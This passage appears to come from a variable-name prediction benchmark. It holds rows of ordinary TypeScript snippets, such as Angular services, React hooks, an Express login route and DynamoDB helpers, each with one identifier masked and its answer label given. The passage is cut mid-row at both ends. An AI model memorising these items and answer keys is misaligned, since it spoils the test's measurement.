      delay(1000),
      tap(_ => this.log('fetched MOCK ATMs results')),
    )
  }
  getSearchResults(fullTextSearch: string): Observable<ATM[]> {

    console.log(GlobalConstants.API_FULL_TEXT_SEARCH_ENDPOINT)

    let params = {fullTextSearch: fullTextSearch}

    return this.httpClient.get<ATM[]>(GlobalConstants.API_FULL_TEXT_SEARCH_ENDPOINT, {params: params})
      .pipe(
        delay(1000),
        tap(_ => this.log('fetched ATMs results'))
      )
  }

  private log( [MASK] : string) {
    console.log( [MASK] )
  }
}
",message
104,"// SPDX-License-Identifier: Apache-2.0
// Copyright 2024 Tiny Tapeout LTD
// Author: <NAME>

import { githubURLToRaw } from '../util/github';

export interface ILibraryDefinition {
  path: string;
  url: string;
}

export class LibraryLoader {
  private readonly cache = new Map<string, string>();
  readonly pathToUrl = new Map<string, string>();

  baseURL?: string;

  constructor(readonly libraries: ILibraryDefinition[]) {}

  async fileExists(path: string) {
    try {
      await this.load(path);
      return true;
    } catch {
      return false;
    }
  }

  async load(path: string) {
    const  [MASK]  = this.cache.get(path);
    if ( [MASK]  != null) {
      return  [MASK] ;
    }
    const response = await this.fetchContent(path);
    if (!response.ok) {
      throw new Error(`File not found: ${path}`);
    }
    const content = await response.text();
    this.cache.set(path, content);
    return content;
  }

  private async fetchContent(path: string): Promise<Response> {
    if (path.toLowerCase().startsWith('https://')) {
      const url = githubURLToRaw(path);
      return await fetch(url);
    }
    for (const library of this.libraries) {
      if (path.startsWith(library.path)) {
        const url = library.url + path;
        return await fetch(url);
      }
    }
    if (this.baseURL != null) {
      const url = new URL(path, githubURLToRaw(this.baseURL));
      const result = await fetch(url);
      if (result.ok) {
        this.pathToUrl.set(path, url.toString());
        return result;
      }

      // Try to look under the root of the github repo
      const altPath = url.pathname.split('/').slice(0, 4).join('/') + '/' + path;
      if (url.hostname === 'raw.githubusercontent.com' && url.pathname !== altPath) {
        url.pathname = altPath;
        const result = await fetch(url);
        if (result.ok) {
          this.pathToUrl.set(path, url.toString());
          return result;
        }
      }
    }
    if (!path.includes('/')) {
      // as a fallback, look under devices/
      return await this.fetchContent(`devices/${path}`);
    }
    throw new Error(`File not found: ${path}`);
  }
}
",cacheEntry
105,"import { NextRequest, NextResponse } from 'next/server';
import Groq from ""groq-sdk"";

const groq = new Groq();

export async function POST(req: NextRequest) {
  try {
    const { prompt, model } = await req.json();

    if (!prompt || !model) {
      return NextResponse.json({ error: 'Prompt and model are required' }, { status: 400 });
    }
    // Set the API key from environment variable
    if (!process.env.GROQ_API_KEY) {
      throw new Error('GROQ_API_KEY is not set in the environment variables');
    }
    groq.apiKey = process.env.GROQ_API_KEY;

    const stream = await groq.chat.completions.create({
      messages: [
        {
          role: ""user"",
          content: prompt,
        },
      ],
      model: model,
      temperature: 0.7,
      max_tokens: 1024,
      top_p: 1,
      stream: true,
    });

    return new Response(
      new ReadableStream({
        async start( [MASK] ) {
          let lastChunk;
          try {
            for await (const chunk of stream) {
              const content = chunk.choices[0]?.delta?.content || """";
              if (content) {
                 [MASK] .enqueue(content);
              }
              lastChunk = chunk;
            }

            // After the stream is complete, send the metrics
            if (lastChunk?.x_groq?.usage) {
              console.log('Sending metrics:', lastChunk.x_groq.usage); // Debug log
              const metricsMessage = `\n__METRICS__${JSON.stringify({
                __metrics: {
                  completion_time: lastChunk.x_groq.usage.completion_time,
                  completion_tokens: lastChunk.x_groq.usage.completion_tokens,
                  total_tokens: lastChunk.x_groq.usage.total_tokens
                }
              })}`;
               [MASK] .enqueue(metricsMessage);
            }
          } catch (error) {
            console.error('Error in stream processing:', error);
          } finally {
             [MASK] .close();
          }
        },
      }),
      {
        headers: {
          'Content-Type': 'text/plain; charset=utf-8',
        },
      }
    );
  } catch (error) {
    console.error('Error in Groq API request:', error);
    return NextResponse.json({ error: 'An error occurred while processing your request' }, { status: 500 });
  }
}
",controller
106,"import * as React from ""react""

type State = {
  error: string
  isLoading: boolean
  response: any,
  url: RequestInfo
}

function initialState( [MASK] : {
  error?: any
  isLoading?: boolean
  response?: any,
  url: RequestInfo
}) {
  return {
    response: null,
    error: null,
    isLoading: true,
    ... [MASK] ,
  }
}

const useApi = (
  url: RequestInfo,
  options = null
): State => {
  const [state, setState] = React.useState(() => initialState({url}))

  React.useEffect(() => {
    const fetchData = async () => {
      try {
        console.log(""Fetching:"", url)
        const res = await fetch(url, {
          ...(options || {}),
        })

        if (res.status >= 400) {
          setState(
            initialState({
              error: await res.json(),
              isLoading: false,
              url
            })
          )
        } else {
          setState(
            initialState({
              response: await res.json(),
              isLoading: false,
              url
            })
          )
        }
        // TODO: Use Result instead
      } catch (error) {
        setState(
          initialState({
            error: {
              error: (error as Error).message,
            },
            isLoading: false,
            url
          })
        )
      }
    }
    fetchData()
  }, [url, options])

  return state
}

export default useApi
",args
107,"/*
 * Copyright The OpenTelemetry Authors
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

import { CollectorExporterBase } from '../../CollectorExporterBase';
import { ReadableSpan, SpanExporter } from '@opentelemetry/tracing';
import { toCollectorExportTraceServiceRequest } from '../../transform';
import { CollectorExporterConfigBrowser } from './types';
import * as collectorTypes from '../../types';
import { sendWithBeacon, sendWithXhr } from './util';
import { parseHeaders } from '../../util';

const DEFAULT_SERVICE_NAME = 'collector-trace-exporter';
const DEFAULT_COLLECTOR_URL = 'http://localhost:55680/v1/trace';

/**
 * Collector Trace Exporter for Web
 */
export class CollectorTraceExporter
  extends CollectorExporterBase<
    CollectorExporterConfigBrowser,
    ReadableSpan,
    collectorTypes.opentelemetryProto.collector.trace.v1.ExportTraceServiceRequest
  >
  implements SpanExporter {
  DEFAULT_HEADERS: Record<string, string> = {
    [collectorTypes.OT_REQUEST_HEADER]: '1',
  };
  private _headers: Record<string, string>;
  private _useXHR: boolean = false;

  /**
   * @param config
   */
  constructor(config: CollectorExporterConfigBrowser = {}) {
    super(config);
    this._headers =
      parseHeaders(config.headers, this.logger) || this.DEFAULT_HEADERS;
    this._useXHR =
      !!config.headers || typeof navigator.sendBeacon !== 'function';
  }

  onInit(): void {
    window.addEventListener('unload', this.shutdown);
  }

  onShutdown(): void {
    window.removeEventListener('unload', this.shutdown);
  }

  getDefaultUrl(config: CollectorExporterConfigBrowser) {
    return config.url || DEFAULT_COLLECTOR_URL;
  }

  getDefaultServiceName(config: CollectorExporterConfigBrowser): string {
    return config.serviceName || DEFAULT_SERVICE_NAME;
  }

  convert(
    spans: ReadableSpan[]
  ): collectorTypes.opentelemetryProto.collector.trace.v1.ExportTraceServiceRequest {
    return toCollectorExportTraceServiceRequest(spans, this);
  }

  send(
    spans: ReadableSpan[],
     [MASK] : () => void,
    onError: (error: collectorTypes.CollectorExporterError) => void
  ) {
    const exportTraceServiceRequest = this.convert(spans);
    const body = JSON.stringify(exportTraceServiceRequest);

    if (this._useXHR) {
      sendWithXhr(
        body,
        this.url,
        this._headers,
        this.logger,
         [MASK] ,
        onError
      );
    } else {
      sendWithBeacon(body, this.url, this.logger,  [MASK] , onError);
    }
  }
}
",onSuccess
108,"import { getBackendSrv, isFetchError } from '@grafana/runtime';
import {
  CoreApp,
  DataQueryRequest,
  DataQueryResponse,
  DataSourceApi,
  DataSourceInstanceSettings,
  MutableDataFrame,
  FieldType,
} from '@grafana/data';

import { MyQuery, MyDataSourceOptions, DEFAULT_QUERY, DataSourceResponse } from './types';
import { lastValueFrom } from 'rxjs';
import _ from 'lodash';
import defaults from 'lodash/defaults';

export const defaultQuery: Partial<MyQuery> = {
  constant: 6.5,
};

export class DataSource extends DataSourceApi<MyQuery, MyDataSourceOptions> {
  baseUrl: string;
  resolution: number;

  constructor(instanceSettings: DataSourceInstanceSettings<MyDataSourceOptions>) {
    super(instanceSettings);
    this.baseUrl = instanceSettings.url!;
    this.resolution= instanceSettings.jsonData.resolution || 1000.0;
  }

  getDefaultQuery(_: CoreApp): Partial<MyQuery> {
    return DEFAULT_QUERY;
  }

  filterQuery(query: MyQuery): boolean {
    // if no query has been provided, prevent the query from being executed
    return !!query.queryText;
  }

  async query(options: DataQueryRequest<MyQuery>): Promise<DataQueryResponse> {
    const { range } = options;
    const from = range!.from.valueOf();
    const to = range!.to.valueOf();

    // Return a constant for each query.
    const data = options.targets.map((target) => {
      const query = defaults(target, defaultQuery);
      const frame = new MutableDataFrame({
        refId: query.refId,
        fields: [
          { name: 'time', type: FieldType.time },
          { name: 'value', type: FieldType.number },
        ],
      });
      const duration = to - from;
      const  [MASK]  = duration / this.resolution;

      for (let t = 0; t < duration; t +=  [MASK] ) {
        frame.add({ time: from + t, value: Math.sin((2 * Math.PI * query.frequency * t) / duration) });
      }

      return frame;
    });

    return { data };
  }

  async request(url: string, params?: string) {
    const response = getBackendSrv().fetch<DataSourceResponse>({
      url: `${this.baseUrl}${url}${params?.length ? `?${params}` : ''}`,
    });
    return lastValueFrom(response);
  }

  /**
   * Checks whether we can connect to the API.
   */
  async testDatasource() {
    const defaultErrorMessage = 'Cannot connect to API';

    try {
      const response = await this.request('/health');
      if (response.status === 200) {
        return {
          status: 'success',
          message: 'Success',
        };
      } else {
        return {
          status: 'error',
          message: response.statusText ? response.statusText : defaultErrorMessage,
        };
      }
    } catch (err) {
      let message = '';
      if (_.isString(err)) {
        message = err;
      } else if (isFetchError(err)) {
        message = 'Fetch error: ' + (err.statusText ? err.statusText : defaultErrorMessage);
        if (err.data && err.data.error && err.data.error.code) {
          message += ': ' + err.data.error.code + '. ' + err.data.error.message;
        }
      }
      return {
        status: 'error',
        message,
      };
    }
  }
}
",step
109,"import { Component, inject, OnInit } from '@angular/core';
import { FormBuilder, FormGroup, FormArray, Validators } from '@angular/forms';
import { MatInputModule } from '@angular/material/input';
import { ProductFull, Category, Product } from '../../interfaces/store';

import { ReactiveFormsModule } from '@angular/forms';
import { ActivatedRoute, Router } from '@angular/router';

import { StoreService } from '../../services/store.service';
import { MatSelectModule } from '@angular/material/select';
import { MatSnackBar } from '@angular/material/snack-bar';

@Component({
  selector: 'app-admin-category-detail',
  standalone: true,
  imports: [
    MatInputModule,
    ReactiveFormsModule,],
  templateUrl: './admin-category-detail.component.html',
  styleUrl: './admin-category-detail.component.css'
})
export class AdminCategoryDetailComponent implements OnInit {
  categoryForm!: FormGroup;
  constructor(private fb: FormBuilder,private storeService: StoreService,private activatedRoute: ActivatedRoute, private router: Router) {}

  ngOnInit(){
    
    if(this.router.url.endsWith(""create"")){
      this.categoryForm = this.fb.group({
        id: [null],
        name: ['', Validators.required],
      });
    }
    else{
      this.activatedRoute.data.subscribe(({ data })=>{
        this.categoryForm = this.fb.group({
          id: [data.id],
          name: [data.name, Validators.required],
        });
      })
    }    
  }
  private _snackBar = inject(MatSnackBar);

  openSnackBar(message: string, action: string) {
    this._snackBar.open(message, action);
  }

  onSubmit() {
    if (this.categoryForm.valid) {
      const category: Category = this.categoryForm.value;
      if(this.router.url.endsWith(""create"")){
        this.storeService.createCategory(category).subscribe({
          next: () => {
            this.router.navigate(['admin/category']);
            this.openSnackBar(""Categoria Creado Exitosamente"",""OK"");
          },
          error: (err) => {
            this.openSnackBar(""Producto no se pudo crear"",""OK"");

          }
        });
      }
      else{
        this.storeService.updateCategory(category).subscribe({
          next: () => {
            this.router.navigate(['admin/category']);
            this.openSnackBar(""Cateogoria Editada Exitosamente"",""OK"");
          },
          error: (err) => {
            this.openSnackBar(""Categoria no se pudo editar"",""OK"");
    
          }
        });
      }
      

    } else {
      this.openSnackBar(""Formulario no se pudo editar"",""OK"");
      this.markFormGroupTouched(this.categoryForm);
    }
  }

  private markFormGroupTouched( [MASK] : FormGroup ) {
    Object.values( [MASK] .controls).forEach(control => {
      control.markAsTouched();

      if (control instanceof FormGroup) {
        this.markFormGroupTouched(control);
      }
    });
  }
}
",formGroup
110,"/**
 * Copyright 2017 The Mifos Initiative.
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
import {JournalEntry} from '../../../../services/accounting/domain/journal-entry.model';
import {FormComponent} from '../../../../common/forms/form.component';
import {Component, OnDestroy, OnInit, ViewChild} from '@angular/core';
import {AbstractControl, FormArray, FormBuilder, FormControl, FormGroup, Validators} from '@angular/forms';
import {ActivatedRoute, Router} from '@angular/router';
import {TdStepComponent} from '@covalent/core';
import {FetchRequest} from '../../../../services/domain/paging/fetch-request.model';
import {Account} from '../../../../services/accounting/domain/account.model';
import {Observable, Subscription} from 'rxjs';
import {toLongISOString} from '../../../../services/domain/date.converter';
import {FimsValidators} from '../../../../common/validator/validators';
import * as fromAccounting from '../../store';
import * as fromRoot from '../../../reducers';
import {CREATE, RESET_FORM} from '../../store/ledger/journal-entry/journal-entry.actions';
import {Error} from '../../../../services/domain/error.model';
import {SEARCH} from '../../../reducers/account/account.actions';
import {AccountingStore} from '../../store/index';
import {JournalEntryValidators} from './journal-entry.validator';
import {AccountingService} from '../../../../services/accounting/accounting.service';
import {transactionTypeExists} from './transaction-type-select/validator/transaction-type-exists.validator';

@Component({
  selector: 'fims-journal-entry-form-component',
  templateUrl: './form.component.html'
})
export class JournalEntryFormComponent extends FormComponent<JournalEntry> implements OnInit, OnDestroy {

  private formStateSubscription: Subscription;

  private userNameSubscription: Subscription;

  @ViewChild('detailsStep') detailsStep: TdStepComponent;

  selectedClerk: string;

  term = new FormControl();

  accounts: Observable<Account[]>;

  constructor(private formBuilder: FormBuilder, private router: Router, private route: ActivatedRoute, private store: AccountingStore, private accountingService: AccountingService) {
    super();
  }

  get formData(): JournalEntry {
    return null;
  }

  ngOnInit(): void {
    this.formStateSubscription = this.store.select(fromAccounting.getJournalEntryFormError)
      .filter((error: Error) => !!error)
      .subscribe((error: Error) => this.setError('transactionIdentifier', 'unique', true));

    this.accounts = this.store.select(fromRoot.getAccountSearchResults)
      .map(accountPage => accountPage.accounts);

    this.detailsStep.open();

    this.userNameSubscription = this.store.select(fromRoot.getUsername).subscribe(username => this.selectedClerk = username);

    this.form = this.formBuilder.group({
      transactionIdentifier: ['', [Validators.required, Validators.minLength(3), Validators.maxLength(32), FimsValidators.urlSafe()]],
      transactionType: ['', [Validators.required], transactionTypeExists(this.accountingService)],
      transactionDate: [new Date().toISOString().slice(0, 10), Validators.required],
      note: [''],
      message: [''],
      creditors: this.formBuilder.array([], JournalEntryValidators.minItems(1)),
      debtors: this.formBuilder.array([], JournalEntryValidators.minItems(1))
    }, { validator: JournalEntryValidators.equalSum('creditors', 'debtors') });

    this.term.valueChanges
      .debounceTime(500)
      .subscribe((event) => this.onAccountSearch(event));

    this.onAccountSearch();
  }

  ngOnDestroy(): void {
    this.formStateSubscription.unsubscribe();
    this.userNameSubscription.unsubscribe();

    this.store.dispatch({ type: RESET_FORM })
  }

  onClerkSelectionChange(selections: string[]): void {
    this.selectedClerk = selections[0];
  }

  save(): void {
    let  [MASK]  = toLongISOString(this.form.get('transactionDate').value);

    let journalEntry: JournalEntry = {
      transactionIdentifier: this.form.get('transactionIdentifier').value,
      transactionType: this.form.get('transactionType').value,
      transactionDate:  [MASK] ,
      clerk: this.selectedClerk,
      note: this.form.get('note').value,
      message: this.form.get('message').value,
      creditors: this.form.get('creditors').value,
      debtors: this.form.get('debtors').value,
    };

    this.store.dispatch({ type: CREATE, payload: {
      journalEntry,
      activatedRoute: this.route
    } });
  }

  addCreditor(accountNumber: string): void {
    const control: FormArray = this.form.get('creditors') as FormArray;
    control.push(this.initCreditor(accountNumber));
  }

  removeCreditor(index: number): void {
    const control: FormArray = this.form.get('creditors') as FormArray;
    control.removeAt(index);
  }

  addDebtor(accountNumber: string): void {
    const control: FormArray = this.form.get('debtors') as FormArray;
    control.push(this.initDebtor(accountNumber));
  }

  removeDebtor(index: number): void {
    const control: FormArray = this.form.get('debtors') as FormArray;
    control.removeAt(index);
  }

  onCancel() {
    this.navigateAway();
  }

  navigateAway(): void {
    this.router.navigate(['../'], {relativeTo: this.route});
  }

  get debtors(): AbstractControl[] {
    const debtors: FormArray = this.form.get('debtors') as FormArray;
    return debtors.controls;
  }

  get creditors(): AbstractControl[] {
    const creditors: FormArray = this.form.get('creditors') as FormArray;
    return creditors.controls;
  }

  private onAccountSearch(searchTerm?: string): void {
    let fetchRequest: FetchRequest = {
      page: {
        pageIndex: 0,
        size: 5
      },
      searchTerm: searchTerm
    };

    this.store.dispatch({ type: SEARCH, payload: fetchRequest });
  }

  private initCreditor(accountNumber: string): FormGroup {
    return this.formBuilder.group({
      accountNumber: [accountNumber],
      amount: [0]
    })
  }

  private initDebtor(accountNumber: string): FormGroup {
    return this.formBuilder.group({
      accountNumber: [accountNumber],
      amount: [0]
    })
  }

}
",transactionDateString
111,"import { Injectable } from '@angular/core';
import {HttpClient} from ""@angular/common/http"";
import {catchError, throwError} from ""rxjs"";

@Injectable({
  providedIn: 'root'
})
export class HttpService {
  private baseUrl = ""https://jsonplaceholder.typicode.com""


  constructor(private http:HttpClient) { }

  get( [MASK] :string, params?:any){
    const data = {params};
    return this.http.get(this.baseUrl +  [MASK] ).pipe(catchError(this.errorHandler.bind(this)))
  }

  private errorHandler(response:any){
    const error = response.error;
    const keys = Object.keys(error);
    const  key = keys[0];
    let message = error[key];

    if (response.status == 401){
      // Auth token
    }

    if(error[key] instanceof  Array){
      message = error[key][0];
    }

    if(key === 'isTrusted'){

    } else {

    }

    // Call Snackbar
    return throwError({messages: message, error});
  }
}
",url
112,"import React from 'react';
import { useSetState, useUnmount } from 'react-use';
type UpdateFn<T> = (patch: Partial<T> | ((prevState: T) => Partial<T>)) => void;
type UpdatePartFn<U> = (patch: U | Function) => void;

type UpdaterFn<T> = {
  [K in keyof T]: UpdatePartFn<T[K]>
};

// 测试 useUpdate 类型
// const Test = () => {
//   const [state, updater] = useUpdate({
//     str: '',
//     num: 0,
//     bool: true,
//     undef: undefined,
//     nul: null,
//     strList: ['one', 'two'],
//     numList: [1, 2],
//     multiList: ['one', 1, false], // 允许包含的类型
//     emptyList: [], // 允许任何数组对象
//     emptyObj: {}, // 允许任何对象
//     obj: { k: 'v', n: 2 }, // 允许相同形状对象
//     objList: [{ ok: true, msg: 'yes' }], // 允许设置任意对象
//   });
//   updater.nul({ any: true });
//   updater.multiList([1, '']);
//   updater.emptyList([1, '']);
//   updater.emptyObj({ a: 2 });
//   updater.objList([{ ok: false, msg: '' }]);
//   return null;
// };


type NullableValue<T> = {
  [K in keyof T]: T[K] extends null ? null | Record<string, any> // 初始状态里对象值可能是null
    : T[K] extends never[] ? any[] // 初始值是空数组，则认为可放任意结构数组
      : T[K] extends { [p: string]: never } ? Record<string, any> // 初始值是空对象，不限制内部结构，是object类型即可
        : T[K]
};

type ResetFn = () => void;

/* eslint-disable arrow-parens */
/**
 * 状态更新
 * @param initState 初始状态
 * @return [state, updateAll, updater]
 */
export const useUpdate = <T extends object>(
  initState: NullableValue<T>
): [NullableValue<T>, UpdaterFn<NullableValue<T>>, UpdateFn<NullableValue<T>>, ResetFn] => {
  const [state, _update] = useSetState<NullableValue<T>>(initState || {});
  // 使用ref，避免updater的更新方法中，在闭包里使用上次的state
  const ref = React.useRef(state);
  const updateRef = React.useRef(_update);
  ref.current = state;

  const update: any = React.useCallback((args: any) => updateRef.current(args), []);

  const updater: any = React.useMemo(() => {
    const result = {};
    Object.keys(ref.current).forEach((k) => {
      result[k] = (patch: Function | any) => {
        const newPart = patch instanceof Function ? patch(ref.current[k], ref.current) : patch;
        ref.current[k] = newPart;
        return updateRef.current({ [k]: newPart } as Partial<NullableValue<T>>);
      };
    });
    return result;
  }, []);

  const  [MASK]  = React.useCallback(() => updateRef.current(initState), [initState]);

  useUnmount(() => {
    updateRef.current = () => {};
  });

  return [state, updater, update,  [MASK] ];
};
",reset
113,"/// <reference path='../_refs.ts' />

module emailEditorMod{
    'use strict';

    /**
     * Object to use in directive hierarchy
     */
    export class EMailCollection implements IEMailCollection{

        mailList: EMailModel[];


        constructor(){
            this.mailList = [];
        }

        addEMail(eMail:string): void{
            if (eMail){
                let mail = new EMailModel(eMail);
                if(this.mailList.indexOf(mail) < 0){
                    this.mailList.push(mail);
                }
            }
        }

        removeMail(mail:string): void{
            let  [MASK]  = this.mailList;

            for (let i =   [MASK] .length - 1; i >= 0; i--){
                let el =  [MASK] [i];
                if(el.getMail() === mail){
                    this.mailList.splice(i, 1);
                }
            }
        }

        length():number {
            return this.mailList.length;
        }

    }
}",mList
114,"'use client';

import { useState, useEffect, useCallback } from 'react';
import { useParams } from 'next/navigation';
import Cookies from 'js-cookie';
import { toast } from 'react-toastify';
import { env } from 'next-runtime-env';

interface InfoTcc {
  title: string;
  summary: string;
  presentationDate: string | null;
  presentationTime: string | null;
  presentationLocation: string;
}
interface InfoStudent { name: string; registration: string; cpf: string; course: string; email: string; }
interface InfoAdvisor { name: string; email: string; }
interface InfoBanking { nameInternal: string; emailInternal: string; nameExternal: string; emailExternal: string; }

export interface CompletedTccDetailsResponse {
  infoTcc: InfoTcc;
  infoStudent: InfoStudent[];
  infoAdvisor: InfoAdvisor;
  infoBanking: InfoBanking;
}

export function useCompletedTccDetails() {
  const [tccDetails, setTccDetails] = useState<CompletedTccDetailsResponse | null>(null);
  const [isLoading, setIsLoading] = useState(true);
  const  [MASK]  = useParams();
  const tccId =  [MASK] .id as string;
  const API_URL = env('NEXT_PUBLIC_API_URL');

  const fetchDetails = useCallback(async () => {
    if (!tccId) return;
    setIsLoading(true);
    const token = Cookies.get('token');

    try {
      const res = await fetch(`${API_URL}/Tcc?tccId=${tccId}`, {
        headers: { Authorization: `Bearer ${token}` },
      });
      if (!res.ok) throw new Error('Falha ao buscar detalhes do TCC.');
      const data = await res.json();
      setTccDetails(data);
    } catch {
      toast.error('Erro ao carregar detalhes do TCC.');
    } finally {
      setIsLoading(false);
    }
  }, [tccId, API_URL]);

  useEffect(() => {
    fetchDetails();
  }, [fetchDetails]);

  return { tccDetails, isLoading };
}",params
115,"import express, { Request, Response } from 'express';
import { body } from 'express-validator';
import jwt from 'jsonwebtoken';
import { BadRequestError, validateRequest } from '@jmtickt/common';
import User from '../models/User';
import Password from '../services/Password';

const router = express.Router();

router.post(
  '/login',
  [
    body('email').isEmail().withMessage('Email must be valid.'),
    body('password').trim().notEmpty().withMessage('Password is required.'),
  ],
  validateRequest,
  async (req: Request, res: Response) => {
    const { email, password } = req.body;

    const user = await User.findOne({ email });

    if (!user) {
      throw new BadRequestError('Invalid Credentials');
    }

    const  [MASK]  = await Password.compare(user.password, password);

    if (! [MASK] ) {
      throw new BadRequestError('Invalid Credentials');
    }

    const jwtToken = jwt.sign(
      {
        id: user.id,
        email: user.email,
      },
      process.env.JWT_KEY!
    );

    // Store JWT in session
    req.session = { jwt: jwtToken };

    return res.status(200).send({ token: jwtToken });
  }
);

export { router as loginRouter };
",isValid
116,"import supertest from 'supertest';
import app from '../index';
import resize from '../controllers/resize';

const req = supertest(app);

interface MockFile {
  filename: string;
  width: number;
  height: number;
}

describe('Test image prcessing utilities ', () => {
  it('gets the image processing endpoint', () => {
    const newMockFile = {
      filename: 'fjord',
      width: 200,
      height: 200,
    };
    return resize(
      newMockFile.filename,
      newMockFile.width,
      newMockFile.height
    ).then(( [MASK] ) => {
      expect( [MASK] ).toBe(newMockFile.filename);
    });
  });
});

describe('Test endpoint responses', () => {
  it('gets the image processing endpoint', (done) => {
    const newMockFile: MockFile = {
      filename: 'fjord',
      width: 200,
      height: 200,
    };

    req
      .get(
        `/api/images?filename=${newMockFile.filename}&width=${newMockFile.width}&height=${newMockFile.height}`
      )
      .expect(200, (err) => {
        if (err) done.fail(err);
        else done();
      });
  });

  it('gets home page endpoint', (done) => {
    req.get('/').expect(200, (err) => {
      if (err) done.fail(err);
      else done();
    });
  });
});
",resFilename
117,"import { DynamoDB } from ""@aws-sdk/client-dynamodb"";
import { fromEnv } from ""@aws-sdk/credential-providers"";
import { marshall, unmarshall } from ""@aws-sdk/util-dynamodb"";

import { chunk } from ""@/Array.js"";

import type { UpdateItemCommandInput } from ""@aws-sdk/client-dynamodb"";
import type { NativeAttributeValue } from ""@aws-sdk/util-dynamodb"";

let instance: DynamoDB | undefined = undefined;

export function DDB() {
  return (instance ??= new DynamoDB({
    region: process.env.AWS_REGION ?? ""us-east-1"",
    credentials: fromEnv(),
  }));
}

export async function DDBGetItem<T>(
  table: string,
  partitionKey: string,
  partitionValue: number | string,
  sortKey?: string,
  sortValue?: number | string,
  projection?: string[],
) {
  const result = await DDB().getItem({
    TableName: table,
    ConsistentRead: false,
    ReturnConsumedCapacity: ""TOTAL"",
    Key: marshall({
      [partitionKey]: partitionValue,
      ...(sortKey !== undefined && sortValue !== undefined
        ? { [sortKey]: sortValue }
        : {}),
    }),
    ProjectionExpression: projection?.map((name) => `#${name}`).join("", ""),
    ExpressionAttributeNames:
      projection === undefined
        ? undefined
        : Object.fromEntries(projection.map((name) => [`#${name}`, name])),
  });

  return result.Item ? (unmarshall(result.Item) as T) : null;
}

export async function DDBUpdateItem(
  table: string,
  partitionKey: string,
  partitionValue: number | string,
  sortKey: string | undefined,
  sortValue: number | string | undefined,
  keys: Record<string, NativeAttributeValue>,
) {
  const attributeNames: Record<string, string> = {};
  const attributeValues: Record<string, NativeAttributeValue> = {};

  const  [MASK] : string[] = [];
  const expressionRemove: string[] = [];

  for (const [key, value] of Object.entries(keys)) {
    attributeNames[`#${key}`] = key;

    if (value === undefined) {
      expressionRemove.push(`#${key}`);

      continue;
    }

    attributeValues[`:${key}`] = value as unknown;

     [MASK] .push(`#${key} = :${key}`);
  }

  const updateExpression = [
     [MASK] .length > 0 ? `SET ${ [MASK] .join("", "")}` : undefined,
    expressionRemove.length > 0
      ? `REMOVE ${expressionRemove.join("", "")}`
      : undefined,
  ];

  const updateItemParams: UpdateItemCommandInput = {
    TableName: table,
    Key: marshall({
      [partitionKey]: partitionValue,
      ...(sortKey !== undefined && sortValue !== undefined
        ? { [sortKey]: sortValue }
        : {}),
    }),
    UpdateExpression: updateExpression.join("" ""),
    ExpressionAttributeNames: attributeNames,
    ExpressionAttributeValues: marshall(attributeValues),
  };

  return DDB().updateItem(updateItemParams);
}

export async function DDBDeleteItem(
  table: string,
  partitionKey: string,
  partitionValue: number | string,
  sortKey: string,
  sortValue: number | string,
) {
  return DDB().deleteItem({
    TableName: table,
    Key: marshall({
      [partitionKey]: partitionValue,
      [sortKey]: sortValue,
    }),
  });
}

export async function DDBBatchWrite(
  table: string,
  entries: object[],
  chunkSize = 25,
) {
  for (const chunkEntries of chunk(entries, chunkSize)) {
    // eslint-disable-next-line no-await-in-loop
    await DDB().batchWriteItem({
      RequestItems: {
        [table]: chunkEntries.map((entry) => ({
          PutRequest: { Item: marshall(entry) },
        })),
      },
    });
  }
}

export async function DDBBatchDelete(
  table: string,
  entries: object[],
  chunkSize = 25,
) {
  for (const chunkEntries of chunk(entries, chunkSize)) {
    // eslint-disable-next-line no-await-in-loop
    await DDB().batchWriteItem({
      RequestItems: {
        [table]: chunkEntries.map((entry) => ({
          DeleteRequest: { Key: marshall(entry) },
        })),
      },
    });
  }
}
",expressionSet
118,"// 白名单
const whiteList = [
 'pages/index/index',
 'pages/login/login'
]
function hasPermission (url:string) {
	let  [MASK]  = uni.getStorageSync('isLogin');//isLogin是登录成功后在本地存储登录标识，存储一个能够判断用户登录的唯一标识就行
	 [MASK]  = Boolean(Number( [MASK] ));//返回布尔值
    // 在白名单中或有登录判断条件可以直接跳转
    if(whiteList.indexOf(url) !== -1 ||  [MASK] ) {
		console.log('通过')
        return true
    }
    return false
}

export default async function () {
  const list = ['navigateTo', 'redirectTo', 'reLaunch', 'switchTab']
  // 用遍历的方式分别为,uni.navigateTo,uni.redirectTo,uni.reLaunch,uni.switchTab这4个路由方法添加拦截器
  list.forEach(item => {
    uni.addInterceptor(item, {
        invoke (e) {
              if(!hasPermission(e.url)){
                console.log('没登陆')
                 // 测试,先注释
                 // uni.showModal({
                 //   title: '请登录',
                 //   content: '',
                 //   confirmText: '确认',
                 //   cancelText: '取消',
                 //   success: (res) => {
                 //     if (res.confirm) {
                 //       console.log(1111111)
                 //       uni.navigateTo({
                 //         url: 'pages/login/login'
                 //       })
                 //     }
                 //   }
                 // });
                 // return false
              } else {

                 return true
              }

          },
      fail(err) { // 失败回调拦截
        console.log(err)
      }
    })
  })
}
",islogin
119,"import * as dotenv from ""dotenv""; // Environment variables
import Sniper from ""./sniper""; // Sniper

// Setup env
dotenv.config();

(async () => {
  // Token address
  const tokenAddress: string | undefined = process.env.TOKEN_ADDRESS;
  // Factory address
  const factoryAddress: string | undefined = process.env.FACTORY_ADDRESS;
  // RPC endpoint
  const rpcEndpoint: string =
    process.env.RPC_ENDPOINT ?? ""http://localhost:8545"";
  // Wallet private key
  const  [MASK] : string | undefined = process.env.PRIVATE_KEY;
  // Purchase amount in chain base token
  const purchaseAmount: string = process.env.AMOUNT ?? ""0.01""; // 0.01 eth/matic/etc.
  // Gas price to send
  const gasPrice: string = process.env.GAS_PRICE ?? ""2000""; // 2,000 gwei
  // Slippage tolerance
  const slippage: number = Number(process.env.SLIPPAGE) ?? 0.1; // 10%
  // Testnet?
